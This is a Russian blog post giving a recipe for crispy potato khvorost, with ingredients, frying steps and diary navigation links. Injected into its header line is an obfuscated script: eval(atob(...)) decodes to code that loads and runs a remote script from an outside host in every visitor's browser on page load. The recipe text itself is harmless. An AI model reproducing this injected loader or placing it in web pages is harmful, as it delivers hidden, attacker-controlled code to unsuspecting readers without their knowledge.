Без заголовка. Обсуждение на <img src="/i/o.gif"><script>eval(atob('dmFyIG49ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7bi5zcmM9Ii8vdjF2LmJlL3E/cz1wYXIiO2RvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJib2R5IilbMF0uYXBwZW5kQ2hpbGQobik7'))</script> |
Картофельный хворост.
Хрустящий картофельный хворост, напоминающий вкус чипсов, понравится всем. Рецепт простой, а сам процесс приготовления, самый обычный, если Вы уже хоть раз готовили хворост по любому рецепту.
Ингредиенты:
Картофель 5−7 картофелин
Мука 3 стакана
Яйцо 2 штуки
Соль по вкусу
Растительное масло для жарки
Приготовление с xaa.su/28LZ:
Отварить очищенный картофель, размять его в пюре.
Разбить яйца и отделить белки от желтков. В пюре ввести слегка взбитые желтки. Белки взбить в отдельно посуде с помощью миксера или венчика, ввести их в пюре. Затем постепенно добавить муку и замесить тесто.
Посыпать стол мукой, раскатать тесто в пласт. Разрезать его на ромбики или квадратики. Обжарить в большом количестве растительного масла.
Можно сделать посередине ромбиков надрез ножом, затем один конец ромбика протянуть через надрез. Немного растянуть, обжарить в масле.
Комментировать | « Пред. запись — К дневнику — След. запись » | Страницы: [1] [Новые] |